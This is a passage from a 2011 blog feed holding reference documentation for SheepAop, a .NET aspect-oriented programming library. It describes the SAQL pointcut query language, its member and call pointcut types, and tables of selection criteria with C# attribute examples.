		<media:content url="http://hendryluk.files.wordpress.com/2011/05/image_thumb8.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/05/image_thumb9.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/05/image_thumb10.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>
	</item>
		<item>
		<title>SheepAOP Part 2 &#8211; Pointcut and SAQL Basics</title>
		<link>http://hendryluk.wordpress.com/2011/05/09/sheepaop-part-2-pointcut-and-saql-basics/</link>
		<comments>http://hendryluk.wordpress.com/2011/05/09/sheepaop-part-2-pointcut-and-saql-basics/#comments</comments>
		<pubDate>Mon, 09 May 2011 16:22:31 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[SheepAspect]]></category>

		<guid isPermaLink="false">http://hendryluk.wordpress.com/?p=1040</guid>
		<description><![CDATA[This Series Getting Started with SheepAOP Pointcuts and SAQL Basics Aspects Lifecycles &#38; Instantiations Integrating with IoC containers Aspects Inheritance &#38; Polymorphism Attributive Aspects (ala PostSharp) Unit-testing your aspects This post is based on SheepAop Preview 1.1. This Post This post will serve primarily more as a reference material than a blog post or a [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1040&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<h1>This Series</h1>
<ol>
<li><a title="Part 1" href="http://hendryluk.wordpress.com/2011/05/08/sheepaop-part-1-getting-started/">Getting Started with SheepAOP</a></li>
<li><strong>Pointcuts and SAQL Basics</strong></li>
<li><a title="SheepAOP Part 3 – Aspect Lifecycles" href="http://hendryluk.wordpress.com/2011/05/17/part-3-aspect-lifecycles-the-narrative/">Aspects Lifecycles &amp; Instantiations</a></li>
<li><a title="SheepAOP Part 4: Integrating with IoC containers" href="http://hendryluk.wordpress.com/2011/05/31/sheepaop-part-4-integrating-with-ioc-containers/">Integrating with IoC containers</a></li>
<li><a title="SheepAop Part 5: Aspects Inheritance And Polymorphism" href="http://hendryluk.wordpress.com/2011/06/06/aspects-inheritance-polymorphism/">Aspects Inheritance &amp; Polymorphism</a></li>
<li>Attributive Aspects (ala PostSharp)</li>
<li>Unit-testing your aspects</li>
</ol>
<p>This post is based on SheepAop <a href="http://sheepaop.codeplex.com/releases/view/65923" target="_blank">Preview 1.1</a>.</p>
<h1>This Post</h1>
<p>This post will serve primarily more as a reference material than a blog post or a bed-time reading consumption. In fact, a substantial portion of this post will quickly find its way to the SheepAop project documentation/wiki pages any time soon.</p>
<h1>Pointcuts</h1>
<p>We have covered this one quite briefly in the <a href="http://hendryluk.wordpress.com/2011/05/08/sheepaop-part-1-getting-started/" target="_blank">previous </a>post.<br />
Pointcut is an aspect-oriented mechanism to pick out join-points (e.g. method calls, properties, field access, instantiations) from your program code using some sort of query language.</p>
<p>The following is an example of how we define a pointcut to pick out all methods in Sheep.EmailService class:</p>
<p><pre class="brush: csharp;">
[Aspect]
public class MyAspect
{
   [SelectMethods(&quot;Public &amp; InType: 'Sheep.EmailService'&quot;)]
   public void MyPointcut(){}
}
</pre></p>
<h3><em>Member Pointcut</em> vs <em>Call Pointcut</em></h3>
<p>There are several types of pointcut in SheepAop, but they all generally fall into 2 categories: <em>member-pointcut</em> and <em>call-pointcut</em>.</p>
<p><em>Member-pointcuts</em> (aka &#8220;Execution&#8221; pointcuts in AspectJ) pick out the structural elements of your program. For example your actual classes, methods, properties, fields, etc.<br />
In the other hand, <em>call-pointcuts</em> (likewise &#8220;Call&#8221; pointcuts in AspectJ) pick out specific lines of instruction within the body of your program code.</p>
<p>An easy way to understand the difference is to take <em>method-pointcut</em> (a member pointcut) and a <em>call-method-pointcut</em> (a method pointcut) as an example.<br />
When you apply an advice to a <em><span style="text-decoration:underline;">method-pointcut</span></em>, you are weaving around the body of the targetted metod itself.<br />
Whereas with a <span style="text-decoration:underline;"><em>call-method-pointcut</em></span>, you will be weaving every specific line in your code body that is found to be making a call to the targeted method.</p>
<h3>Member Pointcuts</h3>
<p>The following are the types of Member Pointcuts available in SheepAop:</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="158"><strong>Type</strong></td>
<td valign="top" width="188"><strong>Attribute</strong></td>
<td valign="top" width="114"><strong>Advices**</strong></td>
</tr>
<tr>
<td valign="top" width="158">Types</td>
<td valign="top" width="188">[SelectTypes(“saql”)]</td>
<td valign="top" width="114">Mixin*</td>
</tr>
<tr>
<td valign="top" width="158">Methods</td>
<td valign="top" width="188">[SelectMethods(“saql”)]</td>
<td valign="top" width="114">Around</td>
</tr>
<tr>
<td valign="top" width="158">Properties (gets + sets)</td>
<td valign="top" width="188">[SelectProperties(“saql”)]</td>
<td valign="top" width="114">Around</td>
</tr>
<tr>
<td valign="top" width="158">Property-Gets</td>
<td valign="top" width="188">[SelectPropertyGets(“saql”)]</td>
<td valign="top" width="114">Around</td>
</tr>
<tr>
<td valign="top" width="158">Property-Sets</td>
<td valign="top" width="188">[SelectPropertySets(“saql”)]</td>
<td valign="top" width="114">Around</td>
</tr>
<tr>
<td valign="top" width="158">Fields</td>
<td valign="top" width="188">[SelectFields(“saql”)]</td>
<td valign="top" width="114">(none)</td>
</tr>
<tr>
<td valign="top" width="158">Constructors*</td>
<td valign="top" width="188">[SelectConstructors(“saql”)]</td>
<td valign="top" width="114">Around</td>
</tr>
<tr>
<td valign="top" width="158">Events*</td>
<td valign="top" width="188">[SelectEvents(“saql”)]</td>
<td valign="top" width="114">(none)</td>
</tr>
</tbody>
</table>
<p>*) Not supported yet in the current release version of SheepAop<br />
**) advices that are currently supported. The number might grow in the future</p>
<h3>Call Pointcuts</h3>
<p>In contrast to <em>Member Pointcuts</em>, which pick out structural element of your program, <em>Call Pointcuts</em> pick out specific line of instruction from within your program code.</p>
<p>There are different kinds of Call Pointcut recognizable by SheepAOP:</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="158"><strong>Type</strong></td>
<td valign="top" width="255"><strong>Attribute</strong></td>
<td valign="top" width="104"><strong>Advices**</strong></td>
</tr>
<tr>
<td valign="top" width="158">Call Methods</td>
<td valign="top" width="255">[SelectCallMethods(“saql”)]</td>
<td valign="top" width="104">Around</td>
</tr>
<tr>
<td valign="top" width="158">Get Properties*</td>
<td valign="top" width="255">[SelectGetProperties(“saql”)]</td>
<td valign="top" width="104">Around</td>
</tr>
<tr>
<td valign="top" width="158">Set Properties*</td>
<td valign="top" width="255">[SelectSetProperties(“saql”)]</td>
<td valign="top" width="104">Around</td>
</tr>
<tr>
<td valign="top" width="158">Get Fields</td>
<td valign="top" width="255">[SelectGetFields(“saql”)]</td>
<td valign="top" width="104">Around</td>
</tr>
<tr>
<td valign="top" width="158">Set Fields</td>
<td valign="top" width="255">[SelectSetFields(“saql”)]</td>
<td valign="top" width="104">Around</td>
</tr>
<tr>
<td valign="top" width="158">Instantiations*</td>
<td valign="top" width="255">[SelectInstantiations(“saql”)]</td>
<td valign="top" width="104">Around</td>
</tr>
<tr>
<td valign="top" width="158">Add events*</td>
<td valign="top" width="255">[SelectAddEvents(“saql”)]</td>
<td valign="top" width="104">Around</td>
</tr>
<tr>
<td valign="top" width="158">Remove events*</td>
<td valign="top" width="255">[SelectRemoveEvents(“saql”)]</td>
<td valign="top" width="104">Around</td>
</tr>
<tr>
<td valign="top" width="158">Invoke events*</td>
<td valign="top" width="255">[SelectInvokeEvents(“saql”)]</td>
<td valign="top" width="104">Around</td>
</tr>
</tbody>
</table>
<p>*) Not supported yet in the current release version of SheepAop<br />
**) Advices that are currently supported. There might be more introduced in the future</p>
<h1>SAQL</h1>
<p>All pointcuts in SheepAop are expressed using a language called SAQL. Generally, there are 2 different types of SAQL syntax: literal-expression, and criteria-expression.</p>
<ul>
<li><strong>Literal Expression</strong><br />
This is the simpler form of SAQL syntax, which looks and feels a lot like the pointcut language in AspectJ. I.e., it uses mainly member signatures and wildcards.<br />
Syntax: a single-quoted string</p>
<blockquote>
<pre>'expression'</pre>
</blockquote>
<p>Here are few examples:</p>
<p><pre class="brush: csharp;">
[SelectMethods(&quot;'System.Int32 System.String::IndexOf(System.Char, System.Int32)'&quot;)]
[SelectMethods(&quot;'* System.*::???Of*(*, System.*)'&quot;)]
[SelectTypes(&quot;'Sheep*.Domain.*.???Customer'&quot;)]
</pre></p>
<p>See below for the literal format for each type of pointcut.<em><br />
Note: further development is underway to enhance the current SAQL literal-expression to follow a smarter DSL syntax, rather than the current implementation using the raw power of <em> </em>wildcard string comparison.</em></li>
<li><strong>Criteria Expression</strong>This is a richer way to do complex queries that are not possible using simple AspectJ syntax. It allows us to describe conditions based on certain criteria-set supported by each type of pointcuts.<br />
Syntax:</p>
<blockquote>
<pre>criteria</pre>
</blockquote>
<p>&#8230; for unary criteria (taking no argument, e.g. <span style="color:#333399;">Public</span>,<span style="color:#333399;"> Static</span>,<span style="color:#333399;"> HasGetter</span>), or&#8230;</p>
<blockquote>
<pre>criteria: argument</pre>
</blockquote>
<p>&#8230; for binary criteria (taking an argument, e.g. <span style="color:#333399;">Name:&#8217;*Repository&#8217;</span>), or..<br />
Some examples:</p>
<p><pre class="brush: csharp;">
[SelectMethods(&quot;'Public &amp; Name:'???CustomersBy*' &amp; InType:Implements:Name:'*Repository'&quot;)]
[SelectFields(&quot;(!Static &amp; 'System.Int32 Sheep.*::_count') | (Static &amp; Name: '*Count')&quot;)]
[SelectProperties(&quot;((Static &amp; Public) || (!Public &amp; Virtual) &amp; InType: (Implements:'Sheep.IRepository' | Inherits: 'Sheep.DataContext')&quot;)]
</pre></p>
<p>Each type of pointcut has different set of supported criteria, which are all covered below.</li>
</ul>
<p>Literal and Criteria expressions are not mutually exclusive. In fact, it is very common to mix both syntices within the same SAQL statement. For instance, take a look at lines #2 and #3 of the last example on Criteria Expression above. There are several literal-expressions embedded within the criteria (which are:<span style="color:#333399;"> &#8216;System.Int32 Sheep.*::_count&#8217;</span>,<span style="color:#333399;"> &#8217;Sheep.IRepository&#8217;</span>, and<span style="color:#333399;"> &#8217;Sheep.DataContext&#8217;</span> respectively).</p>
<h3>Type Pointcut</h3>
<h2>Type-Pointcut Literal Format</h2>
<p>In general, all literal-formats in SheepAop simply follows the standard qualified naming format in .Net framework. It hardly takes an inspired guess to work out the literal-format for ShepAop Type pointcut, which simply follows the naming format of .Net types.<br />
Examples:</p>
<ul>
<li><span style="color:#333399;">&#8216;System.Collections.Generics.IList`1&#8242;</span></li>
<li><span style="color:#333399;">&#8216;Sheep.OuterClass+NestedType&#8217;</span></li>
<li><span style="color:#333399;">&#8216;System.String[]&#8216;</span></li>
</ul>
<p>Likewise any other literal expression, you can use &#8216;*&#8217; and &#8216;?&#8217; wildcards to match any string and any character respectively.</p>
<h2>Type Pointcut Criteria</h2>
<table width="100%" border="1" cellspacing="0" cellpadding="0">
<col width="175" />
<col width="115" />
<col width="449" />
<tbody>
<tr>
<td width="175" height="20"><strong>Criteria</strong></td>
<td width="115"><strong>Argument</strong></td>
<td width="*"><strong>Examples</strong></td>
</tr>
<tr>
<td height="40">Name</td>
<td>string</td>
<td width="449">
<ul>
<li>Name: &#8216;*Customer&#8217;</li>
<li>Name: (&#8216;*Service&#8217; | &#8216;*Repository&#8217;)</li>
</ul>
</td>
</tr>
<tr>
<td height="20">Namespace</td>
<td>string</td>
<td>
<ul>
<li>!Namespace: &#8216;System.*&#8217;</li>
</ul>
</td>
</tr>
<tr>
<td height="60">ImplementsType</td>
<td>Type Pointcut</td>
<td width="449">
<ul>
<li>ImplementsType:&#8217;System.Collections.IEnumerable&#8217;</li>
<li>ImplementsType: (Name: &#8216;*Repository&#8217; | Namespace: &#8216;*.DataContexts&#8217;)</li>
</ul>
</td>
</tr>
<tr>
<td height="40">AssignableToType</td>
<td>Type Pointcut</td>
<td width="449">
<ul>
<li>AssignableToType:(&#8216;System.Collections.*&#8217; &amp; Interface)</li>
<li>AssignableToType: Namespace: &#8216;System.Collections.*&#8217;</li>
</ul>
</td>
</tr>
<tr>
<td height="40">HasMethod</td>
<td>Method Pointcut</td>
<td width="449">
<ul>
<li>HasMethod: Name: &#8216;Get*&#8217;</li>
<li>HasMethod: (Public &amp; Args(&#8216;System.Int32&#8242;)</li>
</ul>
</td>
</tr>
<tr>
<td height="40">HasProperty</td>
<td>Property Pointcut</td>
<td width="449">
<ul>
<li>HasProperty:Name:&#8217;Length&#8217;</li>
<li>HasProperty:Type:Implements:&#8217;*.*Service&#8217;</li>
</ul>
</td>
</tr>
<tr>
<td height="40">HasField</td>
<td>Field Pointcut</td>
<td width="449">
<ul>
<li>HasField:Name:(&#8216;_createdDate&#8217; | &#8216;_entryDate&#8217;)</li>
<li>HasField:((Public &amp; Static) | Protected)</li>
</ul>
</td>
</tr>
<tr>
<td height="60">ThisAspect</td>
<td>(none)</td>
<td width="449">
<ul>
<li>ThisAspect</li>
<li>Implements:ThisAspect</li>
<li>Namespace:&#8217;Sheep.*&#8217; &amp; !ThisAspect</li>
</ul>
</td>
</tr>
<tr>
<td height="20">HasCustomAttributeType</td>
<td>Type Pointcut</td>
<td width="449">
<ul>
<li>HasCustomAttributeType:ImplementsType:&#8217;BindableAttribute&#8217;</li>
</ul>
</td>
</tr>
<tr>
<td height="20">InheritsType*</td>
<td>Type Pointcut</td>
<td width="449">
<ul>
<li>InheritsType:Namespace:&#8217;System.Collections&#8217;</li>
</ul>
</td>
</tr>
<tr>
<td height="40">Interface*</td>
<td>(none)</td>
<td width="449">
<ul>
<li>Interface</li>
<li>!Interface</li>
</ul>
</td>
</tr>
<tr>
<td height="20">Abstract*</td>
<td>(none)</td>
<td width="449">
<ul>
<li>Abstract &amp; Name:&#8217;*Strategy&#8217;</li>
</ul>
</td>
</tr>
<tr>
<td height="20">ValueType*</td>
<td>(none)</td>
<td width="449">
<ul>
<li>ValueType &amp; HasMethod:Name:&#8217;Equals&#8217;</li>
</ul>
</td>
</tr>
<tr>
<td height="20">Class*</td>
<td>(none)</td>
<td width="449">
<ul>
<li>Class &amp; Implements:&#8217;Sheep.Irepository&#8217;</li>
</ul>
</td>
</tr>
</tbody>
</table>
<p><em>Tips: The names of SheepAop criteria follow a convention designed to describe the type of their arguments. E.g.: ImplementsType (takes a Type argument), HasMethod (takes a Method argument). This is to aid readability, and ultimately to prevent SAQL from becoming a write-only language like Regex.</em></p>
<h3>Method Pointcut</h3>
<h2>Method-Pointcut Literal Format</h2>
<p>Likewise Type-Pointcut, the literal-format for Method Pointcut simply follows the standard fully-qualified naming format of .net methods.<br />
Examples:</p>
<ul>
<li><span style="color:#333399;">&#8216;System.Int32 System.String::IndexOf(System.Char, System.Int32)&#8217;</span></li>
<li><span style="color:#333399;">&#8216;Sheep.OuterClass`1+NestedType::SomeMethod(System.String, System.Boolean[])&#8217;</span></li>
<li><span style="color:#333399;">&#8216;System.Int32 System.Object[]::SetValue()&#8217;</span></li>
</ul>
<p>And of course, you can use &#8216;*&#8217; and &#8216;?&#8217; wildcards.</p>
<h2>Method Pointcut Criteria</h2>
<table width="100%" border="1" cellspacing="0" cellpadding="0">
<col width="175" />
<col width="115" />
<col width="470" />
<tbody>
<tr>
<td width="175" height="20"><strong>Criteria</strong></td>
<td width="115"><strong>Argument</strong></td>
<td width="*"><strong>Examples</strong></td>
</tr>
<tr>
<td height="20">Name</td>
<td>string</td>
<td width="470">
<ul>
<li>Name:(&#8216;Get*&#8217; | &#8216;List*&#8217;)</li>
</ul>
</td>
</tr>
<tr>
<td width="175" height="60">Args<br />
(Compare the first N arguments, not the entirety)</td>
<td>TypePointcut[…]</td>
<td width="470">
<ul>
<li>Args: (&#8216;System.Int*&#8217;,  *, &#8216;System.String&#8217;)</li>
<li>Public &amp; Args:(*, *, (Namespace:&#8217;Sheep.Service&#8217; | Name:&#8217;*Service&#8217;))</li>
</ul>
</td>
</tr>
<tr>
<td height="40">InType</td>
<td>Type Pointcut</td>
<td width="470">
<ul>
<li>InType:&#8217;System.String&#8217; &amp; Name:&#8217;IndexOf&#8217;</li>
<li>Public &amp; InType:!ThisAspect</li>
</ul>
</td>
</tr>
<tr>
<td height="40">ReturnType</td>
<td>Type Pointcut</td>
<td width="470">
<ul>
<li>Name:(&#8216;IndexOf&#8217;|'LastIndexOf&#8217;) &amp; ReturnType: &#8216;System.Int*&#8217;</li>
<li>ReturnType:((Interface | Abstract) &amp; Name:&#8217;*Visitor&#8217;)</li>
</ul>
</td>
</tr>
<tr>
<td height="40">ReturnsVoid</td>
<td>(none)</td>
<td width="470">
<ul>
<li>ReturnsVoid</li>
<li>ReturnType:&#8217;System.Boolean&#8217; | ReturnsVoid</li>
</ul>
</td>
</tr>
<tr>
<td height="20">Static</td>
<td>(none)</td>
<td width="470">
<ul>
<li>!Static</li>
</ul>
</td>
</tr>
<tr>
<td height="20">Virtual</td>
<td>(none)</td>
<td>
<ul>
<li>Virtual | Public</li>
</ul>
</td>
</tr>
<tr>
<td height="20">Public</td>
<td>(none)</td>
<td>
<ul>
<li>Public &amp; Name: &#8216;Get*&#8217;</li>
</ul>
</td>
</tr>
<tr>
<td height="20">Private</td>
<td>(none)</td>
<td>
<ul>
<li>Private &amp; InType:Implements:&#8217;System.Collections.IList&#8217;</li>
</ul>
</td>
</tr>
<tr>
<td height="20">Protected</td>
<td>(none)</td>
<td>
<ul>
<li>Protected &amp; !Static</li>
</ul>
</td>
</tr>
<tr>
<td height="20">Internal</td>
<td>(none)</td>
<td>
<ul>
<li>Internal | Protected</li>
</ul>
</td>
</tr>
<tr>
<td height="20">Abstract*</td>
<td>(none)</td>
<td>
<ul>
<li>Virtual | Abstract</li>
</ul>
</td>
</tr>
<tr>
<td height="20">Implements*</td>
<td>Method Pointcut</td>
<td>
<ul>
<li>Private &amp; Implements:&#8217;System.Collection.Ienumerable::GetEnumerator()&#8217;</li>
</ul>
</td>
</tr>
<tr>
<td height="20">HasCustomAttributeType</td>
<td>Type Pointcut</td>
<td width="470">
<ul>
<li>HasCustomAttributeType:ImplementsType:&#8217;ValidationAttribute&#8217;</li>
</ul>
</td>
</tr>
</tbody>
</table>
<h3>Property Pointcut</h3>
<h2>Property-Pointcut Literal Format</h2>
<p>The literal-format of a Property Pointcut is exactly the same as that of a Method Pointcut.<br />
Examples:</p>
<ul>
<li><span style="color:#333399;">&#8216;System.Int32 System.Collections.IList`1::Count()&#8217;</span></li>
<li><span style="color:#333399;">&#8216;Sheep.OuterClass`1+NestedType::SomeProperty()&#8217;</span></li>
<li><span style="color:#333399;">&#8216;System.Int32 System.Object[]::Length()&#8217;</span></li>
</ul>
<p>Yep, you guessed it, you can still use your good old &#8216;*&#8217; and &#8216;?&#8217; wildcards.</p>
<h2>Property Pointcut Criteria</h2>
<table width="100%" border="1" cellspacing="0" cellpadding="0">
<col width="175" />
<col width="115" />
<col width="470" />
<tbody>
<tr>
<td width="175" height="20"><strong>Criteria</strong></td>
<td width="115"><strong>Argument</strong></td>
<td width="*"><strong>Examples</strong></td>
</tr>
<tr>
<td height="20">Name</td>
<td>string</td>
<td>
<ul>
<li>Public &amp; InType:&#8217;System.Collections.List&#8217; &amp; Name: &#8216;Count&#8217;</li>
</ul>
</td>
</tr>
<tr>
<td height="20">Type</td>
<td>Type Pointcut</td>
<td>
<ul>
<li>Name:&#8217;IsEmpty&#8217; &amp; Type:&#8217;System.Boolean&#8217;</li>
</ul>
</td>
</tr>
<tr>
<td height="20">InType</td>
<td>Type Pointcut</td>
<td>
<ul>
<li>Name: &#8216;Length&#8217; &amp; InType: &#8216;System.Array&#8217;</li>
</ul>
</td>
</tr>
<tr>
<td height="20">Static</td>
<td>(none)</td>
<td width="470">
<ul>
<li>Static &amp; InType:&#8217;System.DateTime&#8217; &amp; Name:&#8217;Now&#8217;</li>
</ul>
</td>
</tr>
<tr>
<td height="20">Virtual</td>
<td>(none)</td>
<td>
<ul>
<li>Virtual | Public</li>
</ul>
</td>
</tr>
<tr>
<td height="20">Public</td>
<td>(none)</td>
<td>
<ul>
<li>Public &amp; Name: &#8216;*Count&#8217;</li>
</ul>
</td>
</tr>
<tr>
<td height="20">Private</td>
<td>(none)</td>
<td>
<ul>
<li>Private &amp; InType:Implements:&#8217;System.Collections.IList&#8217;</li>
</ul>
</td>
</tr>
<tr>
<td height="20">Protected</td>
<td>(none)</td>
<td>
<ul>
<li>Protected &amp; !Static</li>
</ul>
</td>
</tr>
<tr>
<td height="20">Internal</td>
<td>(none)</td>
<td>
<ul>
<li>Internal | Protected</li>
</ul>
</td>
</tr>
<tr>
<td height="20">HasCustomAttributeType</td>
<td>Type Pointcut</td>
<td width="470">
<ul>
<li>HasCustomAttributeType:Name:&#8217;Required&#8217;</li>
</ul>
</td>
</tr>
<tr>
<td height="20">Abstract*</td>
<td>(none)</td>
<td>
<ul>
<li>Virtual | Abstract</li>
</ul>
</td>
</tr>
</tbody>
</table>
<h3>Property Gets and Property Sets Pointcuts</h3>
<p>Exactly the same as Property Pointcut, except that these pointcuts will pick out only the property getters and property setters respectively.</p>
<h3>Field Pointcut</h3>
<h2>Field-Pointcut Literal Format</h2>
<p>The literal-format of a Field Pointcut is quite similar to that of a Property Pointcut, minus the brackets.<br />
Examples:</p>
<ul>
<li><span style="color:#333399;">&#8216;System.Int32 System.Collections.IList`1::_items&#8217;</span></li>
<li><span style="color:#333399;">&#8216;Sheep.Web.ModelBinder::Instance&#8217;</span></li>
<li><span style="color:#333399;">&#8216;Sheep.Product::_price&#8217;</span></li>
</ul>
<p>Same deal, &#8216;*&#8217; and &#8216;?&#8217; wildcards are your friends.</p>
<h2>Field-Pointcut Criteria</h2>
<table width="100%" border="1" cellspacing="0" cellpadding="0">
<col width="175" />
<col width="115" />
<col width="470" />
<tbody>
<tr>
<td width="175" height="20"><strong>Criteria</strong></td>
<td width="115"><strong>Argument</strong></td>
<td width="*"><strong>Examples</strong></td>
</tr>
<tr>
<td height="20">Name</td>
<td>string</td>
<td>Static &amp; Public &amp; Name: &#8216;Instance&#8217;</td>
</tr>
<tr>
<td height="20">Type</td>
<td>Type Pointcut</td>
<td>Name:&#8217;_hasValues&#8217; &amp; Type:&#8217;System.Boolean&#8217;</td>
</tr>
<tr>
<td height="20">InType</td>
<td>Type Pointcut</td>
<td>Name: &#8216;_items&#8217; &amp; InType: &#8216;System.Collections.Dictionary&#8217;</td>
</tr>
<tr>
<td height="20">Static</td>
<td>(none)</td>
<td width="470">!Static &amp; Private</td>
</tr>
<tr>
<td height="20">Virtual</td>
<td>(none)</td>
<td>Virtual | Public</td>
</tr>
<tr>
<td height="20">Public</td>
<td>(none)</td>
<td>!Public &amp; Type:(&#8216;System.Boolean&#8217;|'System.Int16&#8242;)</td>
</tr>
<tr>
<td height="20">Private</td>
<td>(none)</td>
<td>Private &amp; InType:Implements:&#8217;System.Collections.IList&#8217;</td>
</tr>
<tr>
<td height="20">Protected</td>
<td>(none)</td>
<td>Protected &amp; !Static</td>
</tr>
<tr>
<td height="20">Internal</td>
<td>(none)</td>
<td>Internal | Protected</td>
</tr>
<tr>
<td height="20">HasCustomAttributeType</td>
<td>Type Pointcut</td>
<td width="470">HasCustomAttributeType:Name:&#8217;Required&#8217;</td>
</tr>
</tbody>
</table>
<h3>Constructor Pointcut</h3>
<p>(Not implemented yet in the current version of SheepAop, but will be very similar to Method Pointcuts in almost every respect).</p>
<h3>About Call Pointcuts</h3>
<p>Ok, time for a good tip. All call-pointcuts basically look the same. Each call-pointcut has a set of criteria &#8220;FromMethod&#8221;/&#8221;FromProperty&#8221; etc that represents the method where the line of call-instruction is found in its body. The other criteria represents what&#8217;s being called (e.g. a method, a field, a constructor, etc).</p>
<p><strong>Literal expression is not available in any call pointcut</strong> by itself. But you can still use literal-expression to pick out the element of the call. For instance, the following pointcut &#8230;</p>
<p><pre class="brush: csharp;">
SelectCallMethods[(&quot;Method: 'System.Int32 System.String::IndexOf(*)' &amp; FromMethod:Type:'Sheep.StringHelper'&quot;)]
public void StringHelper_Calling_StringIndexOf(){}
</pre></p>
<p>&#8230; will pick out any call to String.IndexOf(*) methods made from any method body within the StringHelper class.</p>
<h3>Call Methods Pointcut</h3>
<h2>Criteria</h2>
<table width="792" border="1" cellspacing="0" cellpadding="0">
<col width="175" />
<col width="147" />
<col width="470" />
<tbody>
<tr>
<td width="175" height="20"><strong>Criteria</strong></td>
<td width="147"><strong>Argument</strong></td>
<td width="470"><strong>Examples</strong></td>
</tr>
<tr>
<td height="20">Method</td>
<td>string</td>
<td>Method: (Static &amp; Name: &#8216;Parse&#8217; &amp; Args(&#8216;System.String&#8217;))</td>
</tr>
<tr>
<td height="20">FromMethod</td>
<td>Method Pointcut</td>
<td>FromMethod:(Public &amp; InType:Implements:&#8217;Irepository`1&#8242;)</td>
</tr>
<tr>
<td height="20">FromPropertyGet*</td>
<td>Property Pointcut</td>
<td>FromPropertyGet: (Name: &#8216;TotalPrice&#8217; &amp; InType:&#8217;ShoppingCart&#8217;)</td>
</tr>
<tr>
<td height="20">FromPropertySet*</td>
<td>Property Pointcut</td>
<td>FromPropertySet: &#8216;Sheep.IEntity::IsDeleted()&#8217;</td>
</tr>
<tr>
<td height="20">FromConstructor*</td>
<td>Constructor Pointcut</td>
<td width="470">FromConstructor: Type: &#8216;Sheep.*Service&#8217;</td>
</tr>
</tbody>
</table>
<h3>Get Fields Pointcut</h3>
<h2>Criteria</h2>
<table width="792" border="1" cellspacing="0" cellpadding="0">
<col width="175" />
<col width="147" />
<col width="470" />
<tbody>
<tr>
<td width="175" height="20"><strong>Criteria</strong></td>
<td width="147"><strong>Argument</strong></td>
<td width="470"><strong>Examples</strong></td>
</tr>
<tr>
<td height="20">Field</td>
<td>string</td>
<td>Field: (Static &amp; Name: &#8216;Empty&#8217; &amp; InType: &#8216;System.Guid&#8217;)</td>
</tr>
<tr>
<td height="20">FromMethod</td>
<td>Method Pointcut</td>
<td>FromMethod:(Public &amp; InType:Implements:&#8217;Irepository`1&#8242;)</td>
</tr>
<tr>
<td height="20">FromPropertyGet*</td>
<td>Property Pointcut</td>
<td>FromPropertyGet: (Name: &#8216;TotalPrice&#8217; &amp; InType:&#8217;ShoppingCart&#8217;)</td>
</tr>
<tr>
<td height="20">FromPropertySet*</td>
<td>Property Pointcut</td>
<td>FromPropertySet: &#8216;Sheep.IEntity::IsDeleted()&#8217;</td>
</tr>
<tr>
<td height="20">FromConstructor*</td>
<td>Constructor Pointcut</td>
<td width="470">FromConstructor: Type: &#8216;Sheep.*Service&#8217;</td>
</tr>
</tbody>
</table>
<h3>Set Fields Pointcut</h3>
<h2>Criteria</h2>
<p>(Exacly the same as Set Fields Pointcut, except that it will pick out the act of <em>setting</em> a field, not <em>getting</em> one).</p>
<h3>Get-Properties Pointcut</h3>
<p>(Not implemented yet in the current release of SheepAop, although it&#8217;s quite trivial)</p>
<h2>Criteria</h2>
<table width="792" border="1" cellspacing="0" cellpadding="0">
<col width="175" />
<col width="147" />
<col width="470" />
<tbody>
<tr>
<td width="175" height="20"><strong>Criteria</strong></td>
<td width="147"><strong>Argument</strong></td>
<td width="470"><strong>Examples</strong></td>
</tr>
<tr>
<td height="20">Property</td>
<td>string</td>
<td>Property: (Static &amp; Name: &#8216;Now&#8217; &amp; InType: &#8216;System.DateTime&#8217;)</td>
</tr>
<tr>
<td height="20">FromMethod</td>
<td>Method Pointcut</td>
<td>FromMethod:(Public &amp; InType:Implements:&#8217;Irepository`1&#8242;)</td>
</tr>
<tr>
<td height="20">FromPropertyGet*</td>
<td>Property Pointcut</td>
<td>FromPropertyGet: (Name: &#8216;TotalPrice&#8217; &amp; InType:&#8217;ShoppingCart&#8217;)</td>
</tr>
<tr>
<td height="20">FromPropertySet*</td>
<td>Property Pointcut</td>
<td>FromPropertySet: &#8216;Sheep.IEntity::IsDeleted()&#8217;</td>
</tr>
<tr>
<td height="20">FromConstructor*</td>
<td>Constructor Pointcut</td>
<td width="470">FromConstructor: Type: &#8216;Sheep.*Service&#8217;</td>
</tr>
</tbody>
</table>
<h3>Set Properties Pointcut</h3>
<h2>Criteria</h2>
<p>(Exacly the same as Set Properties Pointcut, except that it will pick out the act of <em>getting</em> a property, not <em>setting</em> one).</p>
<h3>Instantiation Pointcut</h3>
<p>(Not implemented yet in the current release of SheepAop)</p>
<h2>Criteria</h2>
<table width="792" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="175" height="20"><strong>Criteria</strong></td>
<td width="147"><strong>Argument</strong></td>
<td width="470"><strong>Examples</strong></td>
</tr>
<tr>
<td height="20">Constructor</td>
<td>string</td>
<td>Constructor:(Type: &#8216;String.DateTime&#8217; &amp; Args(&#8216;System.Int32&#8242;, &#8216;System.Int32&#8242;)</td>
</tr>
<tr>
<td height="20">FromMethod</td>
<td>Method Pointcut</td>
<td>FromMethod:(Public &amp; InType:Implements:&#8217;Irepository`1&#8242;)</td>
</tr>
<tr>
<td height="20">FromPropertyGet*</td>
<td>Property Pointcut</td>
<td>FromPropertyGet: (Name: &#8216;TotalPrice&#8217; &amp; InType:&#8217;ShoppingCart&#8217;)</td>
</tr>
<tr>
<td height="20">FromPropertySet*</td>
<td>Property Pointcut</td>
<td>FromPropertySet: &#8216;Sheep.IEntity::IsDeleted()&#8217;</td>
</tr>
<tr>
<td height="20">FromConstructor*</td>
<td>Constructor Pointcut</td>
<td width="470">FromConstructor: Type: &#8216;Sheep.*Service&#8217;</td>
</tr>
</tbody>
</table>
<h1>And/Or</h1>
